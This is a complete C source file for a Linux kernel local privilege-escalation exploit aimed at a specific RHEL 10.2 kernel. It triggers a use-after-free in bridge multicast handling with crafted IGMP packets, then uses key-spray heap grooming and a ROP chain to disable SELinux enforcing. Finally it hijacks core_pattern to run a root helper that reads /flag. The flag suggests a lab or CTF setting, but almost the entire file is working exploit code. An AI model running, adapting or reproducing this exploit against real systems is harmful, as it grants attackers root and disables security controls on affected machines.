/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "leak.h" #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define KERNEL_BASE 0xffffffff81000000ULL #define KERNEL_IMAGE_PAGES 29 #define CPU1_CEA_PHYS_OFFSET 0x3d118f58ULL /* RHEL 10.2, kernel 6.12.0-211.7.3.el10_2.x86_64. */ #define OFF_PIVOT_RBX 0xa69585ULL #define OFF_POP_RSI 0x2c9ULL #define OFF_WRITE_EAX4 0x783a4ULL #define OFF_WRITE_MODE_0666 0x8f32ceULL #define OFF_DO_EXIT 0x14ce20ULL #define OFF_CORE_PATTERN_MODE 0x26b136cULL #define OFF_SELINUX_STATE 0x344e760ULL #define KEY_SPEC_PROCESS_KEYRING -2 #define USER_PAYLOAD_LEN 225 #define PG_MGLIST_NEXT 168 #define PG_MGLIST_PPREV 176 #define PG_MCAST_GC_NEXT 208 #define PG_MCAST_DESTROY 224 #define PAYLOAD_OFFSET 24 #define SPRAY_PER_CPU 39 #define RECLAIM_DELAY_US 5500000 #define POLL_FILLERS_PER_CPU 192 #define GC_PADDING_GROUPS 4096 #define EARLY_SPRAY_DELAY_US 5000 static uint64_t kernel_slide; static uint64_t physmap_base; static uint64_t cea; static uint64_t pivot_rbx; static uint64_t pop_rsi; static uint64_t write_eax4; static uint64_t write_mode_0666; static uint64_t do_exit_addr; static uint64_t core_pattern_mode; static uint64_t selinux_enforcing; static int addresses_resolved; static long spray_keyring = KEY_SPEC_PROCESS_KEYRING; static int stage2_ready[2]; static int won_pipe[2]; static int poll_fill_ready[2]; static long long spray_epoch_ns; static int spray_epoch_armed; static void die(const char *what); struct cea_regs15_payload { uint64_t r15; uint64_t r14; uint64_t r13; uint64_t r12; uint64_t rbp; uint64_t rbx; uint64_t r11; uint64_t r10; uint64_t r9; uint64_t r8; uint64_t rax; uint64_t rcx; uint64_t rdx; uint64_t rsi; uint64_t rdi; }; static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity"); } static void *hold_kmalloc_256(void *argument) { struct pollfd entries[60]; int cpu = (int)(intptr_t)argument; pin_cpu(cpu); memset(entries, 0, sizeof(entries)); for (size_t i = 0; i < ARRAY_SIZE(entries); i++) entries[i].fd = -1; if (write(poll_fill_ready[1], "P", 1) != 1) return NULL; (void)poll(entries, ARRAY_SIZE(entries), 60000); return NULL; } static void fill_kmalloc_256_freelists(void) { pthread_t thread; char ready; int count = POLL_FILLERS_PER_CPU * 2; if (pipe(poll_fill_ready)) die("pipe poll fill"); for (int i = 0; i < count; i++) { if (pthread_create(&thread, NULL, hold_kmalloc_256, (void *)(intptr_t)(i & 1))) die("pthread_create poll fill"); pthread_detach(thread); } for (int i = 0; i < count; i++) { if (read(poll_fill_ready[0], &ready, 1) != 1) die("read poll fill ready"); } usleep(100000); puts("[+] pinned kmalloc-256 filler objects"); } static void resolve_addresses(void) { if (addresses_resolved) return; kernel_slide = leak_image_slide(KERNEL_IMAGE_PAGES); physmap_base = leak_phys_map_base_stable(11); cea = physmap_base + CPU1_CEA_PHYS_OFFSET; pivot_rbx = KERNEL_BASE + OFF_PIVOT_RBX + kernel_slide; pop_rsi = KERNEL_BASE + OFF_POP_RSI + kernel_slide; write_eax4 = KERNEL_BASE + OFF_WRITE_EAX4 + kernel_slide; write_mode_0666 = KERNEL_BASE + OFF_WRITE_MODE_0666 + kernel_slide; do_exit_addr = KERNEL_BASE + OFF_DO_EXIT + kernel_slide; core_pattern_mode = KERNEL_BASE + OFF_CORE_PATTERN_MODE + kernel_slide; selinux_enforcing = KERNEL_BASE + OFF_SELINUX_STATE + kernel_slide; printf("[+] CEA=%#llx pivot=%#llx\n", (unsigned long long)cea, (unsigned long long)pivot_rbx); addresses_resolved = 1; } __attribute__((naked, noreturn)) static void spin_stage2(const struct cea_regs15_payload *p __attribute__((unused))) { asm volatile( "mov %rdi, %rax\n\t" "mov 0x00(%rax), %r15\n\t" "mov 0x08(%rax), %r14\n\t" "mov 0x10(%rax), %r13\n\t" "mov 0x18(%rax), %r12\n\t" "mov 0x20(%rax), %rbp\n\t" "mov 0x28(%rax), %rbx\n\t" "mov 0x30(%rax), %r11\n\t" "mov 0x38(%rax), %r10\n\t" "mov 0x40(%rax), %r9\n\t" "mov 0x48(%rax), %r8\n\t" "mov 0x58(%rax), %rcx\n\t" "mov 0x60(%rax), %rdx\n\t" "mov 0x68(%rax), %rsi\n\t" "mov 0x70(%rax), %rdi\n\t" "mov 0x50(%rax), %rax\n\t" "1: pause\n\t" "jmp 1b\n\t"); } static void run_stage2(void) { static struct cea_regs15_payload regs; uint64_t *q = (uint64_t *)®s; /* br_multicast_gc loads gc_node.next into RBX before the CFH call. */ /* * hlist_del_init() writes the predecessor pointer to gc_node.next+8, * so CEA q[1] is unavoidably clobbered immediately before the callback. * The RHEL pivot executes `push rbx; pop rsp`, then jumps into a normal * epilogue which skips q[0], consumes q[1] through q[5] as saved * registers, and returns through q[6]. */ q[0] = 0; q[1] = 0; q[2] = 0; q[3] = 0; q[4] = 0; q[5] = 0; /* * The pivot epilogue starts with `xor eax,eax`, so the first compact store * clears selinux_state.enforcing without needing a value-pop gadget. The * second compact gadget executes: * * mov eax, 0x1b6; mov word ptr [rsi], ax; * xor eax, eax; jmp __x86_return_thunk * * A 16-bit write is exact for ctl_table.mode and preserves the adjacent * sysctl flags. Both policy changes therefore fit in the single CEA frame * produced by the assigned UAF; do_exit is the non-returning tail. */ q[6] = pop_rsi; q[7] = selinux_enforcing; q[8] = write_eax4; q[9] = pop_rsi; q[10] = core_pattern_mode; q[11] = write_mode_0666; q[12] = do_exit_addr; q[13] = 0; pin_cpu(1); if (write(stage2_ready[1], "R", 1) != 1) _exit(1); spin_stage2(®s); } static int root_helper(const char *pid_string) { char flag[4096]; int pid = atoi(pid_string); int pfd = syscall(SYS_pidfd_open, pid, 0); int out = syscall(SYS_pidfd_getfd, pfd, 1, 0); int fd = open("/flag", O_RDONLY); int proof = open("/tmp/.a397-proof", O_WRONLY | O_CREAT | O_TRUNC, 0644); ssize_t n; if (out >= 0) dup2(out, STDOUT_FILENO); if (fd < 0) return 1; (void)!write(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13); if (proof >= 0) (void)!write(proof, "RHEL_FLAG_OK\n", 13); n = read(fd, flag, sizeof(flag)); if (n > 0) { char *zero = memchr(flag, 0, n); if (zero) n = zero - flag; (void)!write(STDOUT_FILENO, flag, n); if (proof >= 0) (void)!write(proof, flag, n); if (!n || flag[n - 1] != '\n') (void)!write(STDOUT_FILENO, "\n", 1); if (proof >= 0 && (!n || flag[n - 1] != '\n')) (void)!write(proof, "\n", 1); } if (proof >= 0) close(proof); return 0; } static void prepare_regular_helper(void) { int self = open("/proc/self/exe", O_RDONLY); int helper = open("/tmp/.a397-helper", O_WRONLY | O_CREAT | O_TRUNC, 0700); if (self < 0 || helper < 0) _exit(1); if (sendfile(helper, self, NULL, 1U << 30) < 0) _exit(1); if (fchmod(helper, 0755) < 0) _exit(1); close(helper); close(self); } static int selinux_is_disabled(void) { char enforcing = '1'; int fd = open("/sys/fs/selinux/enforce", O_RDONLY); if (fd < 0) return 0; (void)!read(fd, &enforcing, 1); close(fd); return enforcing == '0'; } static void watch_payload_ready(void) { int fd; const char pattern[] = "|/tmp/.a397-helper %P"; pin_cpu(0); if (access("/tmp/.a397-helper", X_OK) < 0) prepare_regular_helper(); while (!selinux_is_disabled()) usleep(10000); puts("[+] selinux enforcing is disabled"); while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0) usleep(10000); if (write(fd, pattern, sizeof(pattern) - 1) < 0) _exit(1); close(fd); (void)!write(won_pipe[1], "W", 1); puts("[+] core_pattern is writable"); if (!fork()) { *(volatile unsigned long *)0 = 0; _exit(1); } sleep(5); _exit(0); } struct nl_buffer { char data[4096]; char *tail; struct nlattr *nest[8]; unsigned int depth; }; static void die(const char *what) { perror(what); exit(EXIT_FAILURE); } static void write_file(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd < 0) die(path); if (write(fd, value, strlen(value)) != (ssize_t)strlen(value)) die("write_file"); close(fd); } static void setup_namespaces(void) { char map[64]; uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) die("unshare userns"); write_file("/proc/self/setgroups", "deny"); snprintf(map, sizeof(map), "0 %u 1", uid); write_file("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1", gid); write_file("/proc/self/gid_map", map); if (unshare(CLONE_NEWNET) < 0) die("unshare netns"); } static void nl_init(struct nl_buffer *msg, uint16_t type, uint16_t flags, const void *payload, size_t payload_len) { struct nlmsghdr *nlh; memset(msg, 0, sizeof(*msg)); nlh = (struct nlmsghdr *)msg->data; nlh->nlmsg_type = type; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(NLMSG_DATA(nlh), payload, payload_len); msg->tail = (char *)NLMSG_DATA(nlh) + NLMSG_ALIGN(payload_len); } static void nl_attr(struct nl_buffer *msg, uint16_t type, const void *value, size_t len) { struct nlattr *attr = (struct nlattr *)msg->tail; attr->nla_type = type; attr->nla_len = sizeof(*attr) + len; if (len) memcpy(attr + 1, value, len); msg->tail += NLA_ALIGN(attr->nla_len); } static void nl_nest_start(struct nl_buffer *msg, uint16_t type) { struct nlattr *attr = (struct nlattr *)msg->tail; attr->nla_type = type; msg->tail += sizeof(*attr); msg->nest[msg->depth++] = attr; } static void nl_nest_end(struct nl_buffer *msg) { struct nlattr *attr = msg->nest[--msg->depth]; attr->nla_len = msg->tail - (char *)attr; } static int nl_send(int fd, struct nl_buffer *msg) { struct nlmsghdr *nlh = (struct nlmsghdr *)msg->data; struct sockaddr_nl addr = { .nl_family = AF_NETLINK }; ssize_t size; if (msg->depth || msg->tail > msg->data + sizeof(msg->data)) { errno = EOVERFLOW; return -1; } nlh->nlmsg_len = msg->tail - msg->data; size = sendto(fd, msg->data, nlh->nlmsg_len, 0, (struct sockaddr *)&addr, sizeof(addr)); if (size != (ssize_t)nlh->nlmsg_len) return -1; size = recv(fd, msg->data, sizeof(msg->data), 0); if (size < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr))) return -1; nlh = (struct nlmsghdr *)msg->data; if (nlh->nlmsg_type != NLMSG_ERROR) { errno = EPROTO; return -1; } errno = -((struct nlmsgerr *)NLMSG_DATA(nlh))->error; return errno ? -1 : 0; } static void add_bridge(int fd, const char *name) { struct ifinfomsg info = { .ifi_family = AF_UNSPEC }; struct nl_buffer msg; uint8_t enabled = 1; nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, &info, sizeof(info)); nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1); nl_nest_start(&msg, IFLA_LINKINFO); nl_attr(&msg, IFLA_INFO_KIND, "bridge", sizeof("bridge")); nl_nest_start(&msg, IFLA_INFO_DATA); nl_attr(&msg, IFLA_BR_MCAST_SNOOPING, &enabled, sizeof(enabled)); nl_nest_end(&msg); nl_nest_end(&msg); if (nl_send(fd, &msg) < 0) die("add bridge"); } static void add_veth(int fd, const char *name, const char *peer) { struct ifinfomsg info = { .ifi_family = AF_UNSPEC }; struct ifinfomsg peer_info = { .ifi_family = AF_UNSPEC }; struct nl_buffer msg; nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, &info, sizeof(info)); nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1); nl_nest_start(&msg, IFLA_LINKINFO); nl_attr(&msg, IFLA_INFO_KIND, "veth", sizeof("veth")); nl_nest_start(&msg, IFLA_INFO_DATA); nl_nest_start(&msg, VETH_INFO_PEER); memcpy(msg.tail, &peer_info, sizeof(peer_info)); msg.tail += NLMSG_ALIGN(sizeof(peer_info)); nl_attr(&msg, IFLA_IFNAME, peer, strlen(peer) + 1); nl_nest_end(&msg); nl_nest_end(&msg); nl_nest_end(&msg); if (nl_send(fd, &msg) < 0) die("add veth"); } static void set_link(int fd, const char *name, int master, int up) { struct ifinfomsg info = { .ifi_family = AF_UNSPEC, .ifi_index = if_nametoindex(name), .ifi_flags = up ? IFF_UP : 0, .ifi_change = up ? IFF_UP : 0, }; struct nl_buffer msg; if (!info.ifi_index) die("if_nametoindex"); nl_init(&msg, RTM_NEWLINK, 0, &info, sizeof(info)); if (master >= 0) nl_attr(&msg, IFLA_MASTER, &master, sizeof(master)); if (nl_send(fd, &msg) < 0) die("set link"); } static void set_bridge_port_flags(int fd, const char *name, uint8_t fast_leave, uint8_t to_unicast) { struct ifinfomsg info = { .ifi_family = AF_BRIDGE, .ifi_index = if_nametoindex(name), }; struct nl_buffer msg; nl_init(&msg, RTM_SETLINK, 0, &info, sizeof(info)); nl_nest_start(&msg, IFLA_PROTINFO | NLA_F_NESTED); nl_attr(&msg, IFLA_BRPORT_FAST_LEAVE, &fast_leave, sizeof(fast_leave)); nl_attr(&msg, IFLA_BRPORT_MCAST_TO_UCAST, &to_unicast, sizeof(to_unicast)); nl_nest_end(&msg); if (nl_send(fd, &msg) < 0) die("set bridge port flags"); } static uint16_t checksum(const void *buffer, size_t len) { const uint16_t *word = buffer; uint32_t sum = 0; while (len > 1) { sum += *word++; len -= 2; } if (len) sum += *(const uint8_t *)word; sum = (sum & 0xffff) + (sum >> 16); sum = (sum & 0xffff) + (sum >> 16); return ~sum; } struct igmp_packet { struct ethhdr eth; uint8_t version_ihl; uint8_t tos; uint16_t total_len; uint16_t id; uint16_t frag_off; uint8_t ttl; uint8_t protocol; uint16_t ip_checksum; uint32_t source; uint32_t destination; uint8_t router_alert[4]; uint8_t igmp_type; uint8_t max_response; uint16_t igmp_checksum; uint32_t group; } __attribute__((packed)); static void send_igmp(int packet_fd, int ifindex, const uint8_t source_mac[6], const char *source_ip, int leave) { static const uint8_t group_mac[6] = { 1, 0, 0x5e, 1, 1, 1 }; static const uint8_t routers_mac[6] = { 1, 0, 0x5e, 0, 0, 2 }; struct sockaddr_ll address = { .sll_family = AF_PACKET, .sll_protocol = htons(ETH_P_IP), .sll_ifindex = ifindex, .sll_halen = ETH_ALEN, }; struct igmp_packet packet; const uint8_t *destination_mac = leave ? routers_mac : group_mac; memset(&packet, 0, sizeof(packet)); memcpy(packet.eth.h_source, source_mac, ETH_ALEN); memcpy(packet.eth.h_dest, destination_mac, ETH_ALEN); packet.eth.h_proto = htons(ETH_P_IP); packet.version_ihl = 0x46; packet.total_len = htons(sizeof(packet) - sizeof(packet.eth)); packet.ttl = 1; packet.protocol = IPPROTO_IGMP; if (inet_pton(AF_INET, source_ip, &packet.source) != 1) die("inet_pton source"); if (inet_pton(AF_INET, leave ? "224.0.0.2" : "239.1.1.1", &packet.destination) != 1) die("inet_pton destination"); packet.router_alert[0] = 0x94; packet.router_alert[1] = 0x04; packet.ip_checksum = checksum(&packet.version_ihl, sizeof(packet) - sizeof(packet.eth) - 8); packet.igmp_type = leave ? 0x17 : 0x16; if (inet_pton(AF_INET, "239.1.1.1", &packet.group) != 1) die("inet_pton group"); packet.igmp_checksum = checksum(&packet.igmp_type, 8); memcpy(address.sll_addr, destination_mac, ETH_ALEN); if (__atomic_exchange_n(&spray_epoch_armed, 0, __ATOMIC_ACQ_REL)) { struct timespec epoch; clock_gettime(CLOCK_MONOTONIC, &epoch); __atomic_store_n(&spray_epoch_ns, (long long)epoch.tv_sec * 1000000000LL + epoch.tv_nsec, __ATOMIC_RELEASE); } if (sendto(packet_fd, &packet, sizeof(packet), 0, (struct sockaddr *)&address, sizeof(address)) != sizeof(packet)) die("sendto IGMP"); } struct spray_arg { int cpu; int first; unsigned char payload[USER_PAYLOAD_LEN]; }; static long key_serials[SPRAY_PER_CPU * 2]; static struct spray_arg spray_args[2]; static pthread_t spray_threads[2]; static int spray_ready[2]; static int spray_go[2]; static int spray_success[2]; static int spray_failure[2]; static void prepare_spray_keys(void) { char description[64]; unsigned char byte = 0; for (int i = 0; i < (int)ARRAY_SIZE(key_serials); i++) { snprintf(description, sizeof(description), "br-holder-%d-%d", getpid(), i); key_serials[i] = syscall(SYS_add_key, "user", description, &byte, sizeof(byte), spray_keyring); if (key_serials[i] < 0) die("prepare add_key"); } puts("[+] prepared update-only key spray"); } static void payload_put64(unsigned char *payload, size_t object_offset, uint64_t value) { memcpy(payload + object_offset - PAYLOAD_OFFSET, &value, sizeof(value)); } static void *spray_keys(void *argument) { struct spray_arg *arg = argument; struct timespec now; long long deadline; char byte; pin_cpu(arg->cpu); if (write(spray_ready[1], "S", 1) != 1) return NULL; if (read(spray_go[0], &byte, 1) != 1) return NULL; do { deadline = __atomic_load_n(&spray_epoch_ns, __ATOMIC_ACQUIRE); asm volatile("pause"); } while (!deadline); deadline += EARLY_SPRAY_DELAY_US * 1000LL; do { clock_gettime(CLOCK_MONOTONIC, &now); } while ((long long)now.tv_sec * 1000000000LL + now.tv_nsec < deadline); for (int i = 0; i < SPRAY_PER_CPU; i++) { int index = arg->first + i; if (syscall(SYS_keyctl, KEYCTL_UPDATE, key_serials[index], arg->payload, sizeof(arg->payload)) < 0) { spray_failure[arg->cpu]++; fprintf(stderr, "[-] key update %d failed: %s\n", index, strerror(errno)); } else { spray_success[arg->cpu]++; } } return NULL; } static void check_reclaimed_key(void) { unsigned char payload[USER_PAYLOAD_LEN]; int count = ARRAY_SIZE(key_serials); for (int i = 0; i < count; i++) { long length; if (!key_serials[i]) continue; memset(payload, 0xff, sizeof(payload)); length = syscall(SYS_keyctl, KEYCTL_READ, key_serials[i], payload, sizeof(payload)); if (length == sizeof(payload)) { size_t changed = 0; while (changed < sizeof(payload) && payload[changed] == spray_args[0].payload[changed]) changed++; if (changed != sizeof(payload)) { printf("[+] reclaimed/modified key %d at object offset %zu " "(%#x -> %#x)\n", i, changed + PAYLOAD_OFFSET, spray_args[0].payload[changed], payload[changed]); return; } } } puts("[-] no sprayed key observed the stale-object writes"); } static void arm_reclaim_workers(void) { char ready; if (pipe(spray_ready) || pipe(spray_go)) die("pipe reclaim workers"); memset(spray_args, 0, sizeof(spray_args)); for (int cpu = 0; cpu < 2; cpu++) { spray_args[cpu].cpu = cpu; spray_args[cpu].first = cpu * SPRAY_PER_CPU; payload_put64(spray_args[cpu].payload, PG_MCAST_GC_NEXT, cea); payload_put64(spray_args[cpu].payload, PG_MCAST_DESTROY, pivot_rbx); if (pthread_create(&spray_threads[cpu], NULL, spray_keys, &spray_args[cpu])) die("pthread_create spray"); } for (int cpu = 0; cpu < 2; cpu++) { if (read(spray_ready[0], &ready, 1) != 1) die("read spray ready"); } } static void start_reclaim_workers(void) { __atomic_store_n(&spray_epoch_ns, 0, __ATOMIC_RELEASE); __atomic_store_n(&spray_epoch_armed, 1, __ATOMIC_RELEASE); if (write(spray_go[1], "GG", 2) != 2) die("write spray go"); } static void finish_reclaim_workers(void) { pthread_join(spray_threads[0], NULL); pthread_join(spray_threads[1], NULL); printf("[+] user-key reclaim spray complete " "(cpu0 ok=%d fail=%d, cpu1 ok=%d fail=%d)\n", spray_success[0], spray_failure[0], spray_success[1], spray_failure[1]); } static int run_exploit(int trigger_only) { static const uint8_t mac_a[6] = { 2, 0, 0, 0, 0, 0x0a }; static const uint8_t mac_b[6] = { 2, 0, 0, 0, 0, 0x0b }; struct sockaddr_nl local = { .nl_family = AF_NETLINK }; int netlink_fd; int packet_fd; int bridge_index; struct timespec second_before; struct timespec second_after; struct timespec padding_before; struct timespec padding_after; pid_t watcher = -1; pid_t seeder = -1; char ready; if (!trigger_only) { if (pipe(stage2_ready) || pipe(won_pipe)) die("pipe"); watcher = fork(); if (watcher < 0) die("fork watcher"); if (!watcher) watch_payload_ready(); resolve_addresses(); pin_cpu(0); mlockall(MCL_CURRENT); } setup_namespaces(); if (!trigger_only) prepare_spray_keys(); netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (netlink_fd < 0 || bind(netlink_fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("route netlink"); add_bridge(netlink_fd, "br0"); add_veth(netlink_fd, "veth0", "veth0p"); add_veth(netlink_fd, "veth1", "veth1p"); bridge_index = if_nametoindex("br0"); if (!bridge_index) die("bridge index"); set_link(netlink_fd, "lo", -1, 1); set_link(netlink_fd, "br0", -1, 1); set_link(netlink_fd, "veth0", bridge_index, 1); set_link(netlink_fd, "veth0p", -1, 1); set_link(netlink_fd, "veth1", bridge_index, 1); set_link(netlink_fd, "veth1p", -1, 1); set_bridge_port_flags(netlink_fd, "veth0", 1, 1); if (!trigger_only) fill_kmalloc_256_freelists(); packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (packet_fd < 0) die("packet socket"); if (!trigger_only) pin_cpu(1); send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 0); send_igmp(packet_fd, if_nametoindex("veth0p"), mac_b, "10.0.0.11", 0); usleep(200000); set_bridge_port_flags(netlink_fd, "veth0", 1, 0); send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 1); puts("first leave sent"); /* * The stale port group is still covered by its first kfree_rcu grace * period here. Append live port groups behind it while its allocation * cannot yet be reused. The second vulnerable walk deletes the stale * entry first and these live entries afterwards. Since del_pg adds at * the head of mcast_gc_list, GC destroys all padding entries before it * reaches the reclaimed stale entry. This converts the tiny * sendto-to-system_long_wq race into a scheduler-sized reclaim window. * Build the padding on CPU 0 so that the CPU 1 kmalloc-256 slab which * contains the stale object remains the allocation slab used by the * concurrent CPU 1 key reclaim. The second leave itself runs on CPU 0; * its long deletion walk holds the multicast lock while CPU 1 replaces * the stale object, so the GC worker cannot consume the callback first. */ if (!trigger_only) { pin_cpu(0); set_bridge_port_flags(netlink_fd, "veth0", 1, 1); clock_gettime(CLOCK_MONOTONIC, &padding_before); for (unsigned int i = 0; i < GC_PADDING_GROUPS; i++) { uint8_t padding_mac[6] = { 2, 0x51, (uint8_t)(i >> 24), (uint8_t)(i >> 16), (uint8_t)(i >> 8), (uint8_t)i, }; send_igmp(packet_fd, if_nametoindex("veth0p"), padding_mac, "10.0.0.12", 0); } clock_gettime(CLOCK_MONOTONIC, &padding_after); set_bridge_port_flags(netlink_fd, "veth0", 1, 0); printf("[+] appended %u GC padding groups in %lld us\n", GC_PADDING_GROUPS, ((long long)padding_after.tv_sec * 1000000000LL + padding_after.tv_nsec - ((long long)padding_before.tv_sec * 1000000000LL + padding_before.tv_nsec)) / 1000); seeder = fork(); if (seeder < 0) die("fork stage2"); if (!seeder) run_stage2(); if (read(stage2_ready[0], &ready, 1) != 1) die("read stage2 ready"); arm_reclaim_workers(); } usleep(RECLAIM_DELAY_US); if (!trigger_only) start_reclaim_workers(); clock_gettime(CLOCK_MONOTONIC, &second_before); send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 1); clock_gettime(CLOCK_MONOTONIC, &second_after); printf("[.] second leave syscall %lld -> %lld ns\n", (long long)second_before.tv_sec * 1000000000LL + second_before.tv_nsec, (long long)second_after.tv_sec * 1000000000LL + second_after.tv_nsec); puts("second leave sent"); if (trigger_only) { sleep(6); return 0; } finish_reclaim_workers(); check_reclaimed_key(); { fd_set set; struct timeval timeout = { .tv_sec = 8 }; FD_ZERO(&set); FD_SET(won_pipe[0], &set); if (select(won_pipe[0] + 1, &set, NULL, NULL, &timeout) > 0) { char proof[4096]; int proof_fd; ssize_t proof_len; int payload_ok = 0; sleep(5); proof_fd = open("/tmp/.a397-proof", O_RDONLY); if (proof_fd >= 0) { proof_len = read(proof_fd, proof, sizeof(proof)); if (proof_len > 0) { (void)!write(STDOUT_FILENO, proof, proof_len); payload_ok = 1; } close(proof_fd); } /* * The seeder inherited this phase's process keyring. Once the * callback has reached its non-returning tail (and, in stage two, * the helper finished), release the seeder reference so retries * do not retain an otherwise idle namespace. */ (void)syscall(SYS_keyctl, KEYCTL_CLEAR, spray_keyring); if (seeder > 0) { kill(seeder, SIGKILL); (void)waitpid(seeder, NULL, 0); } return payload_ok ? 0 : 1; } } fprintf(stderr, "[-] exploit timed out\n"); if (seeder > 0) kill(seeder, SIGKILL); if (watcher > 0) kill(watcher, SIGKILL); return 1; } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1 && !strcmp(argv[1], "--leak-only")) { resolve_addresses(); return 0; } if (argc > 1 && !strcmp(argv[1], "--vuln-trigger")) return run_exploit(1); if (argc > 1 && !strcmp(argv[1], "--disable-selinux")) return run_exploit(0); if (argc > 1 && !strcmp(argv[1], "--core-stage")) return run_exploit(0); if (argc > 1) return root_helper(argv[1]); return run_exploit(0); }